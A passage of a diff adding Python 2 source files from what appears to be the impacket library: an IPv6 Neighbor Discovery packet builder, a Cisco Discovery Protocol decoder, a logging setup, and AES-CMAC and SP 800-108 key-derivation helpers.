#The payload (where all NDP options should reside) is a child of the header
|
||||
self.child().get_bytes().extend(ndp_option.get_bytes())
|
||||
|
||||
|
||||
############################################################################
|
||||
@classmethod
|
||||
def Router_Solicitation(class_object):
|
||||
message_data = struct.pack('>L', 0) #Reserved bytes
|
||||
return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data)
|
||||
|
||||
@classmethod
|
||||
def Router_Advertisement(class_object, current_hop_limit,
|
||||
managed_flag, other_flag,
|
||||
router_lifetime, reachable_time, retransmission_timer):
|
||||
flag_byte = 0x00
|
||||
if (managed_flag):
|
||||
flag_byte |= 0x80
|
||||
if (other_flag):
|
||||
flag_byte |= 0x40
|
||||
|
||||
message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer)
|
||||
return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data)
|
||||
|
||||
@classmethod
|
||||
def Neighbor_Solicitation(class_object, target_address):
|
||||
message_data = struct.pack('>L', 0) #Reserved bytes
|
||||
message_data += target_address.as_bytes().tostring()
|
||||
return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data)
|
||||
|
||||
|
||||
@classmethod
|
||||
def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address):
|
||||
flag_byte = 0x00
|
||||
if (router_flag):
|
||||
flag_byte |= 0x80
|
||||
if (solicited_flag):
|
||||
flag_byte |= 0x40
|
||||
if (override_flag):
|
||||
flag_byte |= 0x20
|
||||
|
||||
message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes
|
||||
message_data += target_address.as_bytes().tostring()
|
||||
return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data)
|
||||
|
||||
|
||||
@classmethod
|
||||
def Redirect(class_object, target_address, destination_address):
|
||||
message_data = struct.pack('>L', 0)# Reserved bytes
|
||||
message_data += target_address.as_bytes().tostring()
|
||||
message_data += destination_address.as_bytes().tostring()
|
||||
return class_object.__build_message(NDP.REDIRECT, message_data)
|
||||
|
||||
|
||||
@classmethod
|
||||
def __build_message(class_object, type, message_data):
|
||||
#Build NDP header
|
||||
ndp_packet = NDP()
|
||||
ndp_packet.set_type(type)
|
||||
ndp_packet.set_code(0)
|
||||
|
||||
#Pack payload
|
||||
ndp_payload = ImpactPacket.Data()
|
||||
ndp_payload.set_data(message_data)
|
||||
ndp_packet.contains(ndp_payload)
|
||||
|
||||
return ndp_packet
|
||||
|
||||
|
||||
|
||||
|
||||
class NDP_Option():
|
||||
#NDP Option Type numbers
|
||||
SOURCE_LINK_LAYER_ADDRESS = 1
|
||||
TARGET_LINK_LAYER_ADDRESS = 2
|
||||
PREFIX_INFORMATION = 3
|
||||
REDIRECTED_HEADER = 4
|
||||
MTU_OPTION = 5
|
||||
|
||||
############################################################################
|
||||
@classmethod
|
||||
#link_layer_address must have a size that is a multiple of 8 octets
|
||||
def Source_Link_Layer_Address(class_object, link_layer_address):
|
||||
return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address)
|
||||
|
||||
@classmethod
|
||||
#link_layer_address must have a size that is a multiple of 8 octets
|
||||
def Target_Link_Layer_Address(class_object, link_layer_address):
|
||||
return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address)
|
||||
|
||||
@classmethod
|
||||
#link_layer_address must have a size that is a multiple of 8 octets
|
||||
def __Link_Layer_Address(class_object, option_type, link_layer_address):
|
||||
option_length = (len(link_layer_address) / 8) + 1
|
||||
option_data = array.array("B", link_layer_address).tostring()
|
||||
return class_object.__build_option(option_type, option_length, option_data)
|
||||
|
||||
@classmethod
|
||||
#Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments
|
||||
#ENHANCEMENT - Prefix could be an instance of IP6_Address
|
||||
def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix):
|
||||
|
||||
flag_byte = 0x00
|
||||
if (on_link_flag):
|
||||
flag_byte |= 0x80
|
||||
if (autonomous_flag):
|
||||
flag_byte |= 0x40
|
||||
|
||||
option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime)
|
||||
option_data += struct.pack('>L', 0) #Reserved bytes
|
||||
option_data += array.array("B", prefix).tostring()
|
||||
option_length = 4
|
||||
return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data)
|
||||
|
||||
|
||||
@classmethod
|
||||
def Redirected_Header(class_object, original_packet):
|
||||
option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes
|
||||
option_data += array.array("B", original_packet).tostring()
|
||||
option_length = (len(option_data) + 4) / 8
|
||||
return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data)
|
||||
|
||||
@classmethod
|
||||
def MTU(class_object, mtu):
|
||||
option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes
|
||||
option_data += struct.pack('>L', mtu)
|
||||
option_length = 1
|
||||
return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data)
|
||||
|
||||
|
||||
@classmethod
|
||||
def __build_option(class_object, type, length, option_data):
|
||||
#Pack data
|
||||
data_bytes = struct.pack('>BB', type, length)
|
||||
data_bytes += option_data
|
||||
ndp_option = ImpactPacket.Data()
|
||||
ndp_option.set_data(data_bytes)
|
||||
|
||||
return ndp_option
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
|
||||
# Set default logging handler to avoid "No handler found" warnings.
|
||||
import logging
|
||||
try: # Python 2.7+
|
||||
from logging import NullHandler
|
||||
except ImportError:
|
||||
class NullHandler(logging.Handler):
|
||||
def emit(self, record):
|
||||
pass
|
||||
|
||||
# All modules inside this library MUST use this logger (impacket)
|
||||
# It is up to the library consumer to do whatever is wanted
|
||||
# with the logger output. By default it is forwarded to the
|
||||
# upstream logger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
LOG.addHandler(NullHandler())
|
||||
@@ -0,0 +1,499 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# Cisco Discovery Protocol packet codecs.
|
||||
#
|
||||
# Author:
|
||||
# Martin Candurra
|
||||
# martincad at corest.com
|
||||
|
||||
from struct import unpack
|
||||
import socket
|
||||
|
||||
from ImpactPacket import Header
|
||||
from impacket import LOG
|
||||
|
||||
IP_ADDRESS_LENGTH = 4
|
||||
|
||||
class CDPTypes:
|
||||
|
||||
DeviceID_Type = 1
|
||||
Address_Type = 2
|
||||
PortID_Type = 3
|
||||
Capabilities_Type = 4
|
||||
SoftVersion_Type = 5
|
||||
Platform_Type = 6
|
||||
IPPrefix_Type = 7
|
||||
ProtocolHello_Type = 8
|
||||
MTU_Type = 17
|
||||
SystemName_Type = 20
|
||||
SystemObjectId_Type = 21
|
||||
SnmpLocation = 23
|
||||
|
||||
class CDP(Header):
|
||||
|
||||
Type = 0x2000
|
||||
OUI = 0x00000c
|
||||
|
||||
def __init__(self, aBuffer = None):
|
||||
Header.__init__(self, 8)
|
||||
if aBuffer:
|
||||
self.load_header(aBuffer)
|
||||
self._elements = self._getElements(aBuffer)
|
||||
|
||||
def _getElements(self, aBuffer):
|
||||
# Remove version (1 byte), TTL (1 byte), and checksum (2 bytes)
|
||||
buff = aBuffer[4:]
|
||||
l = []
|
||||
finish = False
|
||||
while buff:
|
||||
elem = CDPElementFactory.create(buff)
|
||||
data = elem.get_data()
|
||||
l.append( elem )
|
||||
buff = buff[ elem.get_length() : ]
|
||||
return l
|
||||
|
||||
def get_header_size(self):
|
||||
return 8
|
||||
|
||||
def get_version(self):
|
||||
return self.get_byte(0)
|
||||
|
||||
def get_ttl(self):
|
||||
return self.get_byte(1)
|
||||
|
||||
def get_checksum(self):
|
||||
return self.get_word(2)
|
||||
|
||||
def get_type(self):
|
||||
return self.get_word(4)
|
||||
|
||||
def get_lenght(self):
|
||||
return self.get_word(6)
|
||||
|
||||
def getElements(self):
|
||||
return self._elements
|
||||
|
||||
|
||||
def __str__(self):
|
||||
knowcode = 0
|
||||
tmp_str = 'CDP Details:\n'
|
||||
for element in self._elements:
|
||||
tmp_str += "** Type:" + str(element.get_type()) + " " + str(element) + "\n"
|
||||
return tmp_str
|
||||
|
||||
|
||||
def get_byte(buffer, offset):
|
||||
return unpack("!B", buffer[offset:offset+1])[0]
|
||||
|
||||
def get_word(buffer, offset):
|
||||
return unpack("!h", buffer[offset:offset+2])[0]
|
||||
|
||||
def get_long(buffer, offset):
|
||||
return unpack("!I", buffer[offset:offset+4])[0]
|
||||
|
||||
def get_bytes(buffer, offset, bytes):
|
||||
return buffer[offset:offset + bytes]
|
||||
|
||||
def mac_to_string(mac_bytes):
|
||||
bytes = unpack('!BBBBBB', mac_bytes)
|
||||
s = ''
|
||||
for byte in bytes:
|
||||
s += '%02x:' % byte
|
||||
return s[0:-1]
|
||||
|
||||
|
||||
|
||||
class CDPElement(Header):
|
||||
|
||||
def __init__(self, aBuffer = None):
|
||||
Header.__init__(self, 8)
|
||||
if aBuffer:
|
||||
self._length = CDPElement.Get_length(aBuffer)
|
||||
self.load_header( aBuffer[:self._length] )
|
||||
|
||||
@classmethod
|
||||
def Get_length(cls, aBuffer):
|
||||
return unpack('!h', aBuffer[2:4])[0]
|
||||
|
||||
def get_header_size(self):
|
||||
self._length
|
||||
|
||||
def get_length(self):
|
||||
return self.get_word(2)
|
||||
|
||||
def get_data(self):
|
||||
return self.get_bytes().tostring()[4:self.get_length()]
|
||||
|
||||
def get_ip_address(self, offset = 0, ip = None):
|
||||
if not ip:
|
||||
ip = self.get_bytes().tostring()[offset : offset + IP_ADDRESS_LENGTH]
|
||||
return socket.inet_ntoa( ip )
|
||||
|
||||
class CDPDevice(CDPElement):
|
||||
Type = 1
|
||||
|
||||
def get_type(self):
|
||||
return CDPDevice.Type
|
||||
|
||||
def get_device_id(self):
|
||||
return CDPElement.get_data(self)
|
||||
|
||||
def __str__(self):
|
||||
return "Device:" + self.get_device_id()
|
||||
|
||||
class Address(CDPElement):
|
||||
Type = 2
|
||||
|
||||
def __init__(self, aBuffer = None):
|
||||
CDPElement.__init__(self, aBuffer)
|
||||
if aBuffer:
|
||||
data = self.get_bytes().tostring()[8:]
|
||||
self._generateAddressDetails(data)
|
||||
|
||||
def _generateAddressDetails(self, buff):
|
||||
self.address_details = []
|
||||
while buff:
|
||||
address = AddressDetails.create(buff)
|
||||
self.address_details.append( address )
|
||||
buff = buff[address.get_total_length():]
|
||||
|
||||
def get_type(self):
|
||||
return Address.Type
|
||||
|
||||
def get_number(self):
|
||||
return self.get_long(4)
|
||||
|
||||
def get_address_details(self):
|
||||
return self.address_details
|
||||
|
||||
def __str__(self):
|
||||
tmp_str = "Addresses:"
|
||||
for address_detail in self.address_details:
|
||||
tmp_str += "\n" + str(address_detail)
|
||||
return tmp_str
|
||||
|
||||
class AddressDetails():
|
||||
|
||||
PROTOCOL_IP = 0xcc
|
||||
|
||||
@classmethod
|
||||
def create(cls, buff):
|
||||
a = AddressDetails(buff)
|
||||
return a
|
||||
|
||||
|
||||
def __init__(self, aBuffer = None):
|
||||
if aBuffer:
|
||||
addr_length = unpack("!h", aBuffer[3:5])[0]
|
||||
self.total_length = addr_length + 5
|
||||
self.buffer = aBuffer[:self.total_length]
|
||||
|
||||
def get_total_length(self):
|
||||
return self.total_length
|
||||
|
||||
def get_protocol_type(self):
|
||||
return self.buffer[0:1]
|
||||
|
||||
def get_protocol_length(self):
|
||||
return get_byte( self.buffer, 1)
|
||||
|
||||
def get_protocol(self):
|
||||
return get_byte( self.buffer, 2)
|
||||
|
||||
def get_address_length(self):
|
||||
return get_word( self.buffer, 3)
|
||||
|
||||
def get_address(self):
|
||||
address = get_bytes( self.buffer, 5, self.get_address_length() )
|
||||
if self.get_protocol()==AddressDetails.PROTOCOL_IP:
|
||||
return socket.inet_ntoa(address)
|
||||
else:
|
||||
LOG.error("Address not IP")
|
||||
return address
|
||||
|
||||
def is_protocol_IP(self):
|
||||
return self.get_protocol()==AddressDetails.PROTOCOL_IP
|
||||
|
||||
def __str__(self):
|
||||
return "Protocol Type:%r Protocol:%r Address Length:%r Address:%s" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address())
|
||||
|
||||
class Port(CDPElement):
|
||||
Type = 3
|
||||
|
||||
def get_type(self):
|
||||
return Port.Type
|
||||
|
||||
def get_port(self):
|
||||
return CDPElement.get_data(self)
|
||||
|
||||
def __str__(self):
|
||||
return "Port:" + self.get_port()
|
||||
|
||||
|
||||
class Capabilities(CDPElement):
|
||||
Type = 4
|
||||
|
||||
def __init__(self, aBuffer = None):
|
||||
CDPElement.__init__(self, aBuffer)
|
||||
self._capabilities_processed = False
|
||||
|
||||
self._router = False
|
||||
self._transparent_bridge = False
|
||||
self._source_route_bridge = False
|
||||
self._switch = False
|
||||
self._host = False
|
||||
self._igmp_capable = False
|
||||
self._repeater = False
|
||||
self._init_capabilities()
|
||||
|
||||
def get_type(self):
|
||||
return Capabilities.Type
|
||||
|
||||
def get_capabilities(self):
|
||||
return CDPElement.get_data(self)
|
||||
|
||||
def _init_capabilities(self):
|
||||
if self._capabilities_processed:
|
||||
return
|
||||
|
||||
capabilities = unpack("!L", self.get_capabilities())[0]
|
||||
self._router = (capabilities & 0x1) > 0
|
||||
self._transparent_bridge = (capabilities & 0x02) > 0
|
||||
self._source_route_bridge = (capabilities & 0x04) > 0
|
||||
self._switch = (capabilities & 0x08) > 0
|
||||
self._host = (capabilities & 0x10) > 0
|
||||
self._igmp_capable = (capabilities & 0x20) > 0
|
||||
self._repeater = (capabilities & 0x40) > 0
|
||||
|
||||
def is_router(self):
|
||||
return self._router
|
||||
|
||||
def is_transparent_bridge(self):
|
||||
return self._transparent_bridge
|
||||
|
||||
def is_source_route_bridge(self):
|
||||
return self._source_route_bridge
|
||||
|
||||
def is_switch(self):
|
||||
return self._switch
|
||||
|
||||
def is_host(self):
|
||||
return self.is_host
|
||||
|
||||
def is_igmp_capable(self):
|
||||
return self._igmp_capable
|
||||
|
||||
def is_repeater(self):
|
||||
return self._repeater
|
||||
|
||||
|
||||
def __str__(self):
|
||||
return "Capabilities:" + self.get_capabilities()
|
||||
|
||||
|
||||
class SoftVersion(CDPElement):
|
||||
Type = 5
|
||||
|
||||
def get_type(self):
|
||||
return SoftVersion.Type
|
||||
|
||||
def get_version(self):
|
||||
return CDPElement.get_data(self)
|
||||
|
||||
def __str__(self):
|
||||
return "Version:" + self.get_version()
|
||||
|
||||
|
||||
class Platform(CDPElement):
|
||||
Type = 6
|
||||
|
||||
def get_type(self):
|
||||
return Platform.Type
|
||||
|
||||
def get_platform(self):
|
||||
return CDPElement.get_data(self)
|
||||
|
||||
def __str__(self):
|
||||
return "Platform:%r" % self.get_platform()
|
||||
|
||||
|
||||
class IpPrefix(CDPElement):
|
||||
Type = 7
|
||||
|
||||
def get_type(self):
|
||||
return IpPrefix .Type
|
||||
|
||||
def get_ip_prefix(self):
|
||||
return CDPElement.get_ip_address(self, 4)
|
||||
|
||||
def get_bits(self):
|
||||
return self.get_byte(8)
|
||||
|
||||
def __str__(self):
|
||||
return "IP Prefix/Gateway: %r/%d" % (self.get_ip_prefix(), self.get_bits())
|
||||
|
||||
class ProtocolHello(CDPElement):
|
||||
Type = 8
|
||||
|
||||
def get_type(self):
|
||||
return ProtocolHello.Type
|
||||
|
||||
def get_master_ip(self):
|
||||
return self.get_ip_address(9)
|
||||
|
||||
def get_version(self):
|
||||
return self.get_byte(17)
|
||||
|
||||
def get_sub_version(self):
|
||||
return self.get_byte(18)
|
||||
|
||||
def get_status(self):
|
||||
return self.get_byte(19)
|
||||
|
||||
def get_cluster_command_mac(self):
|
||||
return self.get_bytes().tostring()[20:20+6]
|
||||
|
||||
def get_switch_mac(self):
|
||||
return self.get_bytes().tostring()[28:28+6]
|
||||
|
||||
def get_management_vlan(self):
|
||||
return self.get_word(36)
|
||||
|
||||
def __str__(self):
|
||||
return "\n\n\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r" \
|
||||
% (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan())
|
||||
|
||||
class VTPManagementDomain(CDPElement):
|
||||
Type = 9
|
||||
|
||||
def get_type(self):
|
||||
return VTPManagementDomain.Type
|
||||
|
||||
def get_domain(self):
|
||||
return CDPElement.get_data(self)
|
||||
|
||||
|
||||
class Duplex(CDPElement):
|
||||
Type = 0xb
|
||||
|
||||
def get_type(self):
|
||||
return Duplex.Type
|
||||
|
||||
def get_duplex(self):
|
||||
return CDPElement.get_data(self)
|
||||
|
||||
def is_full_duplex(self):
|
||||
return self.get_duplex()==0x1
|
||||
|
||||
class VLAN(CDPElement):
|
||||
Type = 0xa
|
||||
|
||||
def get_type(self):
|
||||
return VLAN.Type
|
||||
|
||||
def get_vlan_number(self):
|
||||
return CDPElement.get_data(self)
|
||||
|
||||
|
||||
|
||||
class TrustBitmap(CDPElement):
|
||||
Type = 0x12
|
||||
|
||||
def get_type(self):
|
||||
return TrustBitmap.Type
|
||||
|
||||
def get_trust_bitmap(self):
|
||||
return self.get_data()
|
||||
|
||||
def __str__(self):
|
||||
return "TrustBitmap Trust Bitmap:%r" % self.get_trust_bitmap()
|
||||
|
||||
class UntrustedPortCoS(CDPElement):
|
||||
Type = 0x13
|
||||
|
||||
def get_type(self):
|
||||
return UntrustedPortCoS.Type
|
||||
|
||||
def get_port_CoS(self):
|
||||
return self.get_data()
|
||||
|
||||
def __str__(self):
|
||||
return "UntrustedPortCoS port CoS %r" % self.get_port_CoS()
|
||||
|
||||
class ManagementAddresses(Address):
|
||||
Type = 0x16
|
||||
|
||||
def get_type(self):
|
||||
return ManagementAddresses.Type
|
||||
|
||||
class MTU(CDPElement):
|
||||
Type = 0x11
|
||||
|
||||
def get_type(self):
|
||||
return MTU.Type
|
||||
|
||||
class SystemName(CDPElement):
|
||||
Type = 0x14
|
||||
|
||||
def get_type(self):
|
||||
return SystemName.Type
|
||||
|
||||
class SystemObjectId(CDPElement):
|
||||
Type = 0x15
|
||||
|
||||
def get_type(self):
|
||||
return SystemObjectId.Type
|
||||
|
||||
class SnmpLocation(CDPElement):
|
||||
Type = 0x17
|
||||
|
||||
def get_type(self):
|
||||
return SnmpLocation.Type
|
||||
|
||||
|
||||
class DummyCdpElement(CDPElement):
|
||||
Type = 0x99
|
||||
|
||||
def get_type(self):
|
||||
return DummyCdpElement.Type
|
||||
|
||||
class CDPElementFactory():
|
||||
|
||||
elementTypeMap = {
|
||||
CDPDevice.Type : CDPDevice,
|
||||
Port.Type : Port,
|
||||
Capabilities.Type : Capabilities,
|
||||
Address.Type : Address,
|
||||
SoftVersion.Type : SoftVersion,
|
||||
Platform.Type : Platform,
|
||||
IpPrefix.Type : IpPrefix,
|
||||
ProtocolHello.Type : ProtocolHello,
|
||||
VTPManagementDomain.Type : VTPManagementDomain,
|
||||
VLAN.Type : VLAN,
|
||||
Duplex.Type : Duplex,
|
||||
TrustBitmap.Type : TrustBitmap,
|
||||
UntrustedPortCoS.Type : UntrustedPortCoS,
|
||||
ManagementAddresses.Type : ManagementAddresses,
|
||||
MTU.Type : MTU,
|
||||
SystemName.Type : SystemName,
|
||||
SystemObjectId.Type : SystemObjectId,
|
||||
SnmpLocation.Type : SnmpLocation
|
||||
}
|
||||
|
||||
@classmethod
|
||||
def create(cls, aBuffer):
|
||||
# print "CDPElementFactory.create aBuffer:", repr(aBuffer)
|
||||
# print "CDPElementFactory.create sub_type:", repr(aBuffer[0:2])
|
||||
_type = unpack("!h", aBuffer[0:2])[0]
|
||||
# print "CDPElementFactory.create _type:", _type
|
||||
try:
|
||||
class_type = cls.elementTypeMap[_type]
|
||||
except KeyError:
|
||||
class_type = DummyCdpElement
|
||||
#raise Exception("CDP Element type %s not implemented" % _type)
|
||||
return class_type( aBuffer )
|
||||
@@ -0,0 +1,471 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (beto@coresecurity.com)
|
||||
#
|
||||
# Description:
|
||||
# RFC 4493 implementation (http://www.ietf.org/rfc/rfc4493.txt)
|
||||
# RFC 4615 implementation (http://www.ietf.org/rfc/rfc4615.txt)
|
||||
#
|
||||
# NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation
|
||||
# (http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108)
|
||||
#
|
||||
# [MS-LSAD] Section 5.1.2
|
||||
# [MS-SAMR] Section 2.2.11.1.1
|
||||
|
||||
from impacket import LOG
|
||||
try:
|
||||
from Crypto.Cipher import DES, AES, ARC4
|
||||
except Exception:
|
||||
LOG.error("Warning: You don't have any crypto installed. You need PyCrypto")
|
||||
LOG.error("See http://www.pycrypto.org/")
|
||||
from struct import pack, unpack
|
||||
from impacket.structure import Structure
|
||||
import hmac, hashlib
|
||||
|
||||
def Generate_Subkey(K):
|
||||
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
# + Algorithm Generate_Subkey +
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
# + +
|
||||
# + Input : K (128-bit key) +
|
||||
# + Output : K1 (128-bit first subkey) +
|
||||
# + K2 (128-bit second subkey) +
|
||||
# +-------------------------------------------------------------------+
|
||||
# + +
|
||||
# + Constants: const_Zero is 0x00000000000000000000000000000000 +
|
||||
# + const_Rb is 0x00000000000000000000000000000087 +
|
||||
# + Variables: L for output of AES-128 applied to 0^128 +
|
||||
# + +
|
||||
# + Step 1. L := AES-128(K, const_Zero); +
|
||||
# + Step 2. if MSB(L) is equal to 0 +
|
||||
# + then K1 := L << 1; +
|
||||
# + else K1 := (L << 1) XOR const_Rb; +
|
||||
# + Step 3. if MSB(K1) is equal to 0 +
|
||||
# + then K2 := K1 << 1; +
|
||||
# + else K2 := (K1 << 1) XOR const_Rb; +
|
||||
# + Step 4. return K1, K2; +
|
||||
# + +
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
AES_128 = AES.new(K)
|
||||
|
||||
L = AES_128.encrypt('\x00'*16)
|
||||
|
||||
LHigh = unpack('>Q',L[:8])[0]
|
||||
LLow = unpack('>Q',L[8:])[0]
|
||||
|
||||
K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF
|
||||
K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
if (LHigh >> 63):
|
||||
K1Low ^= 0x87
|
||||
|
||||
K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF
|
||||
K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
if (K1High >> 63):
|
||||
K2Low ^= 0x87
|
||||
|
||||
K1 = pack('>QQ', K1High, K1Low)
|
||||
K2 = pack('>QQ', K2High, K2Low)
|
||||
|
||||
return K1, K2
|
||||
|
||||
def XOR_128(N1,N2):
|
||||
|
||||
J = ''
|
||||
for i in range(len(N1)):
|
||||
J = J + chr(ord(N1[i]) ^ ord(N2[i]))
|
||||
return J
|
||||
|
||||
def PAD(N):
|
||||
const_Bsize = 16
|
||||
padLen = 16-len(N)
|
||||
return N + '\x80' + '\x00'*(padLen-1)
|
||||
|
||||
def AES_CMAC(K, M, length):
|
||||
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
# + Algorithm AES-CMAC +
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
# + +
|
||||
# + Input : K ( 128-bit key ) +
|
||||
# + : M ( message to be authenticated ) +
|
||||
# + : len ( length of the message in octets ) +
|
||||
# + Output : T ( message authentication code ) +
|
||||
# + +
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
# + Constants: const_Zero is 0x00000000000000000000000000000000 +
|
||||
# + const_Bsize is 16 +
|
||||
# + +
|
||||
# + Variables: K1, K2 for 128-bit subkeys +
|
||||
# + M_i is the i-th block (i=1..ceil(len/const_Bsize)) +
|
||||
# + M_last is the last block xor-ed with K1 or K2 +
|
||||
# + n for number of blocks to be processed +
|
||||
# + r for number of octets of last block +
|
||||
# + flag for denoting if last block is complete or not +
|
||||
# + +
|
||||
# + Step 1. (K1,K2) := Generate_Subkey(K); +
|
||||
# + Step 2. n := ceil(len/const_Bsize); +
|
||||
# + Step 3. if n = 0 +
|
||||
# + then +
|
||||
# + n := 1; +
|
||||
# + flag := false; +
|
||||
# + else +
|
||||
# + if len mod const_Bsize is 0 +
|
||||
# + then flag := true; +
|
||||
# + else flag := false; +
|
||||
# + +
|
||||
# + Step 4. if flag is true +
|
||||
# + then M_last := M_n XOR K1; +
|
||||
# + else M_last := padding(M_n) XOR K2; +
|
||||
# + Step 5. X := const_Zero; +
|
||||
# + Step 6. for i := 1 to n-1 do +
|
||||
# + begin +
|
||||
# + Y := X XOR M_i; +
|
||||
# + X := AES-128(K,Y); +
|
||||
# + end +
|
||||
# + Y := M_last XOR X; +
|
||||
# + T := AES-128(K,Y); +
|
||||
# + Step 7. return T; +
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
const_Bsize = 16
|
||||
const_Zero = '\x00'*16
|
||||
|
||||
AES_128= AES.new(K)
|
||||
M = M[:length]
|
||||
K1, K2 = Generate_Subkey(K)
|
||||
n = len(M)/const_Bsize
|
||||
|
||||
if n == 0:
|
||||
n = 1
|
||||
flag = False
|
||||
else:
|
||||
if (length % const_Bsize) == 0:
|
||||
flag = True
|
||||
else:
|
||||
n += 1
|
||||
flag = False
|
||||
|
||||
M_n = M[(n-1)*const_Bsize:]
|
||||
if flag is True:
|
||||
M_last = XOR_128(M_n,K1)
|
||||
else:
|
||||
M_last = XOR_128(PAD(M_n),K2)
|
||||
|
||||
X = const_Zero
|
||||
for i in range(n-1):
|
||||
M_i = M[(i)*const_Bsize:][:16]
|
||||
Y = XOR_128(X, M_i)
|
||||
X = AES_128.encrypt(Y)
|
||||
Y = XOR_128(M_last, X)
|
||||
T = AES_128.encrypt(Y)
|
||||
|
||||
return T
|
||||
|
||||
def AES_CMAC_PRF_128(VK, M, VKlen, Mlen):
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
# + AES-CMAC-PRF-128 +
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
# + +
|
||||
# + Input : VK (Variable-length key) +
|
||||
# + : M (Message, i.e., the input data of the PRF) +
|
||||
# + : VKlen (length of VK in octets) +
|
||||
# + : len (length of M in octets) +
|
||||
# + Output : PRV (128-bit Pseudo-Random Variable) +
|
||||
# + +
|
||||
# +-------------------------------------------------------------------+
|
||||
# + Variable: K (128-bit key for AES-CMAC) +
|
||||
# + +
|
||||
# + Step 1. If VKlen is equal to 16 +
|
||||
# + Step 1a. then +
|
||||
# + K := VK; +
|
||||
# + Step 1b. else +
|
||||
# + K := AES-CMAC(0^128, VK, VKlen); +
|
||||
# + Step 2. PRV := AES-CMAC(K, M, len); +
|
||||
# + return PRV; +
|
||||
# + +
|
||||
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
if VKlen == 16:
|
||||
K = VK
|
||||
else:
|
||||
K = AES_CMAC('\x00'*16, VK, VKlen)
|
||||
|
||||
PRV = AES_CMAC(K, M, Mlen)
|
||||
|
||||
return PRV
|
||||
|
||||
def KDF_CounterMode(KI, Label, Context, L):
|
||||
# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256
|
||||
# http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108
|
||||
# Fixed values:
|
||||
# 1. h - The length of the output of the PRF in bits, and
|
||||
# 2. r - The length of the binary representation of the counter i.
|
||||
# Input: KI, Label, Context, and L.
|
||||
# Process:
|
||||
# 1. n := [L/h]
|
||||
# 2. If n > 2r-1, then indicate an error and stop.
|
||||
# 3. result(0):= empty .
|
||||
# 4. For i = 1 to n, do
|
||||
# a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2)
|
||||
# b. result(i) := result(i-1) || K(i).
|
||||
# 5. Return: KO := the leftmost L bits of result(n).
|
||||
h = 256
|
||||
r = 32
|
||||
|
||||
n = L / h
|
||||
|
||||
if n == 0:
|
||||
n = 1
|
||||
|
||||
if n > (pow(2,r)-1):
|
||||
raise "Error computing KDF_CounterMode"
|
||||
|
||||
result = ''
|
||||
K = ''
|
||||
|
||||
for i in range(1,n+1):
|
||||
input = pack('>L', i) + Label + '\x00' + Context + pack('>L',L)
|
||||
K = hmac.new(KI, input, hashlib.sha256).digest()
|
||||
result = result + K
|
||||
|
||||
return result[:(L/8)]
|
||||
|
||||
# [MS-LSAD] Section 5.1.2 / 5.1.3
|
||||
class LSA_SECRET_XP(Structure):
|
